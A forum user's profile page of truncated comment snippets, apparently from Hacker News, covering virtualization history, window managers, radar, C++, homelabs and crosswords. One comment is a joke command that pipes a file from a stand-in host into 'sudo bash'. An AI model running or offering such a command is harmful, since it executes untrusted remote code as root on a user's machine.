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by isopede 3mo ago
Does regenerative braking work with a motor like this?
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by isopede 9mo ago
Yeah, afaik arhitecture dynamic binary translation dates back to at least 1998 (VMware). If you leave out the JIT part, binary translation dates back to at least 1966 (Honeywell). Still one of the GOATs, agree.
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by isopede 9mo ago
Look, my setup works for me. Just add an option to reenable spacebar heating.
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by isopede 9mo ago
I have such fond memories of the Nokia N810. I did my master’s thesis on that device. I had a custom hypervisor running a guest kernel, virtualized networking, and a buildroot userspace. I could SSH into the host N810, then SSH into the gue
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by isopede 1y ago
It's been a few years since I last looked at it, but I've tried daily running it probably 4 or 5 times over the last 15 years. Usually on Arch, but also some Debian/Ubuntu-based distros. It's fuzzy now but I've trie
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by isopede 1y ago
Somebody sell me on these newfangled tiling WMs. I have been using basically the same xmonad configuration for 15+ years, pretty much updating it only on breaking or deprecated changes. What do all these new Wayland compositors have to offe
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by isopede 1y ago
I strongly believe that we will see an incident akin to Therac-25 in the near future. With as many people running YOLO mode on their agents as there are, Claude or Gemini is going to be hooked up to some real hardware that will end up killi
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by isopede 1y ago
Neat. Anyone know what is used to make the animations? I like the graphic design!
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by isopede 1y ago
That band is often chosen _because_ of the absorption band of oxygen. Significant attenuation at those frequencies means it limits range, allowing for higher frequency reuse and less interference over a greater area.
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by isopede 2y ago
Interference is a real problem with FMCW radars, either maliciously in the case of electronic warfare, or accidentally in the case you mentioned, with many radars in the same space using the same frequency band. Wifi and cell phones use tim
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by isopede 2y ago
Is it though? I can run Windows programs from 20 years ago on my Windows machine just fine. Issues with Linux binary distribution meanwhile are ubiquitous, with glibc probably being the single biggest offender. What's worse is that you
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by isopede 2y ago
Among other things, tooling and vendor libraries. Vendor libraries are often composed of thousands upon thousands of lines of auto-generated C headers and written in some bespoke format. Demonstration code and/or sample drivers are alm
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by isopede 2y ago
C++ has long surpassed the point where mere mortals like me can understand it; It's so loaded with baggage, footguns, and inscrutable standards language that honestly I think the only thing keeping it going is institutional inertia and
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by isopede 2y ago
I don't understand the backlash outside some sort of weird "anti-woke" attitude. Even ignoring all the problematic history, the Lena image hasn't been a good test image for years. It's a 512x512 scan of printed CMYK
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by isopede 3y ago
I tried it a few months ago, back in November. I looked through what I did and in the end, to bring in pw_result, I had to define a failure handler, pull in three separate cmake files for various definitions, define an ASSERT action (becaus
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by isopede 3y ago
I don't think fiber cables are expensive. I ran CAT6 in my house and at the same time pulled an OS2 single-mode 30m fiber cable to my office for core switching. The 30m fiber cable was $17 on Amazon, plus two 10G-LR modules at $18 each
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by isopede 3y ago
I tried to evaluate pigweed a little bit by importing just a single module (pw_result) into my existing CMake-based MCU project. I guess you guys technically do have support, but it seemed unnecessarily difficult to pull in. Just pull the s
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by isopede 3y ago
I have a rather extensive homelab, painstakingly set up over time. It works great, I love it. Few questions for you guys: - My real problem is disaster recovery. It would take me forever to replicate everything, if I could even remember it
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by isopede 3y ago
In fact there is! It's called a Gomboc: https://en.wikipedia.org/wiki/G%C3%B6mb%C3%B6c
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by isopede 3y ago
I like to solve this problem in Kerbal Space Program simply by avoiding it: My landers are designed to land sideways.
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by isopede 3y ago
This happens regularly in the embedded space. Exception and fault handlers, for example.
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by isopede 3y ago
Isn't this just an instance of "trusting trust?" How do you know the IOMMU hasn't been backdoored? "Open" firmware doesn't mean open RTL. Where is the line drawn?
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by isopede 3y ago
I miss Car Talk dearly and have wished for a reboot/modern version of it on more than a few occasions. Anyone have recommendations for a contemporary show with a similar bent? The fact that it was a car show hardly mattered, I just lov
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by isopede 3y ago
curl https://what.could.possibly.go.wrong/totally.not/a/virus.exe | sudo bash
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by isopede 3y ago
So while it is nice that MIT claims to not use legacy now, the process I experienced 20 years ago suggests that alumni still had influence then and even athletics mattered too. Not to discount your experience, but I don't believe wha
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by isopede 3y ago
All of the answers have 180 degree rotational symmetry! For the acrosses, the top left corner begins with DAP. The bottom right ends with PAD. Then OGRE/ERGO, REED/DEER, and so on. For the downs, it's DORA/AROD, AGES&#x2
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by isopede 3y ago
Since we're on the subject of clever construction, I think the 6/6/23 puzzle by Daniel Jaret from just a few weeks ago is legendary[1]. Standard American-style crosswords have rotational symmetry in the squares. This one has
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by isopede 3y ago
They did this particular gimmick again early last year. This time, the offering was a choice between the "better of two sci-fi franchises." The correct answer was of course STAR TREK, but STAR WARS would have fit too. edit: archiv
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by isopede 3y ago
I recall reading a story last year about a guy who went through this process to import a cheap EV pickup to use around his farm[1]. I believe it cost him about $3k-4k in shipping and fees. 1. https://electrek.co/2022/07
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by isopede 3y ago
I've been reflecting a bit on how nature of the internet has changed, and how niche communities that I used to rely on all had specialty forums, mailing lists, etc, with history often stretching back years. It seems like more and more

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